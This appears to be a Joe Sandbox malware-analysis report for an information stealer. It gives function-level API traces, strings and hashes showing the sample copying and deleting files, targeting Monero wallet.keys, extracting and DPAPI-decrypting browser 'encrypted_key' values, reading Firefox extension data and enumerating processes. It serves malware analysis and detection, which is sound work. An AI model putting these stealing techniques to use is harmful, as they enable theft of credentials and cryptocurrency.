Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 2005621e045dd7616df35019f512a385a0af4249b64775b1653b62f6e0963c6b
Instruction ID: c0a9b84e985ee13be18500b260054b362d44cc3d05cf15e1cfb7874e12fc355c
Opcode Fuzzy Hash: 2005621e045dd7616df35019f512a385a0af4249b64775b1653b62f6e0963c6b
Instruction Fuzzy Hash: 3E415AB1801344AFCB04EFE5ECC5BEA37B6AB1A309F04111AF4059B2A0DB386955CB67

Function 004AA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004B8B60: GetSystemTime.KERNEL32(004C0E1A,00FDA418,004C05AE,?,?,004A13F9,?,0000001A,004C0E1A,00000000,?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004B8B86

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004AA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 004AA3FF
lstrlen.KERNEL32(00000000), ref: 004AA6BC

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

DeleteFileA.KERNEL32(00000000), ref: 004AA743

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3374270f74308351b79258b0dae993dd23710afe490a26199751dcd53ab21092
Instruction ID: 881b4125e4ec69f0b3caa3cc79d820ec5e1f10f044dd30421efd87c419c765f7
Opcode Fuzzy Hash: 3374270f74308351b79258b0dae993dd23710afe490a26199751dcd53ab21092
Instruction Fuzzy Hash: 64E11F72810108ABDB14FBA5DCA2EEE7338AF14304F50855EF51676491EF386A1DCB7A

Function 004AD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004B8B60: GetSystemTime.KERNEL32(004C0E1A,00FDA418,004C05AE,?,?,004A13F9,?,0000001A,004C0E1A,00000000,?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004B8B86

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004AD801
lstrlen.KERNEL32(00000000), ref: 004AD99F
lstrlen.KERNEL32(00000000), ref: 004AD9B3
DeleteFileA.KERNEL32(00000000), ref: 004ADA32

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 56355dc4bad32b631787321a97c139b46e694941b4906d237ec308784c26d0ed
Instruction ID: febd7deb21614c2d400fa11e95c2f94bf70a0fcd0cf797a1b40a527b32ba42e9
Opcode Fuzzy Hash: 56355dc4bad32b631787321a97c139b46e694941b4906d237ec308784c26d0ed
Instruction Fuzzy Hash: 98812171810108AADB14FBB5DCA2EEE7339AF14304F50452EF007B6491EF386A19DB7A

Function 004AF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A99EC
Part of subcall function 004A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004A9A11
Part of subcall function 004A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004A9A31
Part of subcall function 004A99C0: ReadFile.KERNEL32(000000FF,?,00000000,004A148F,00000000), ref: 004A9A5A
Part of subcall function 004A99C0: LocalFree.KERNEL32(004A148F), ref: 004A9A90
Part of subcall function 004A99C0: CloseHandle.KERNEL32(000000FF), ref: 004A9A9A

Part of subcall function 004B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004B8E52

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,004C1580,004C0D92), ref: 004AF54C
lstrlen.KERNEL32(00000000), ref: 004AF56B

Strings

moz-extension+++, xrefs: 004AF5AD
^userContextId=4294967295, xrefs: 004AF59C

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 704fbe740e3f3962246d857be1a07e116b8582889510dff7122e741157be72e7
Instruction ID: dabdb1ae7aa6fbc0d8bdff7d16123bc0310cc782771ba6bea878c3f85eeca661
Opcode Fuzzy Hash: 704fbe740e3f3962246d857be1a07e116b8582889510dff7122e741157be72e7
Instruction Fuzzy Hash: C3514375D00108BADB14FBB1DC92DED7338AF54304F50852EF80667191EE386A1ACBBA

Function 004B70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

sK, xrefs: 004B7111
sK, xrefs: 004B72AE, 004B7179, 004B717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 004B718C

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sK$sK$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1815746760
Opcode ID: 9df4fb41fe619abb1ccfb9ee7e903523a592e58a9fcc8c08303ee6366a560992
Instruction ID: 90ff7005738d471c00a9661afd897d30cd09e54375d2706bac39d1250105b90c
Opcode Fuzzy Hash: 9df4fb41fe619abb1ccfb9ee7e903523a592e58a9fcc8c08303ee6366a560992
Instruction Fuzzy Hash: 395161B0C04218AFDB14EBA5DC91BEEB374AF54304F1040AEE50576281EB786E89CF79

Function 004A9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A99EC
Part of subcall function 004A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004A9A11
Part of subcall function 004A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004A9A31
Part of subcall function 004A99C0: ReadFile.KERNEL32(000000FF,?,00000000,004A148F,00000000), ref: 004A9A5A
Part of subcall function 004A99C0: LocalFree.KERNEL32(004A148F), ref: 004A9A90
Part of subcall function 004A99C0: CloseHandle.KERNEL32(000000FF), ref: 004A9A9A

Part of subcall function 004B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004B8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004A9D39

Part of subcall function 004A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NJ,00000000,00000000), ref: 004A9AEF
Part of subcall function 004A9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,004A4EEE,00000000,?), ref: 004A9B01
Part of subcall function 004A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NJ,00000000,00000000), ref: 004A9B2A
Part of subcall function 004A9AC0: LocalFree.KERNEL32(?,?,?,?,004A4EEE,00000000,?), ref: 004A9B3F

Part of subcall function 004A9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004A9B84
Part of subcall function 004A9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 004A9BA3
Part of subcall function 004A9B60: LocalFree.KERNEL32(?), ref: 004A9BD3

Strings

"encrypted_key":", xrefs: 004A9D30
DPAPI, xrefs: 004A9D89
, xrefs: 004A9DC1

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 530a396fe3b51808723396808d5ac70a655da53145c35fd9d6a8da98a15da5e2
Instruction ID: 93066211ceb0ea545df314ae875a11cc2475d7d74d0036bcbc4bc83cbcff7ea9
Opcode Fuzzy Hash: 530a396fe3b51808723396808d5ac70a655da53145c35fd9d6a8da98a15da5e2
Instruction Fuzzy Hash: 083150B5D10209ABCF04DFE4DC85EEFB7B8AB59304F14451EE905A7241EB389E44CBA9

Function 004B8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004C05B7), ref: 004B86CA
Process32First.KERNEL32(?,00000128), ref: 004B86DE
Process32Next.KERNEL32(?,00000128), ref: 004B86F3

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

CloseHandle.KERNEL32(?), ref: 004B8761

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
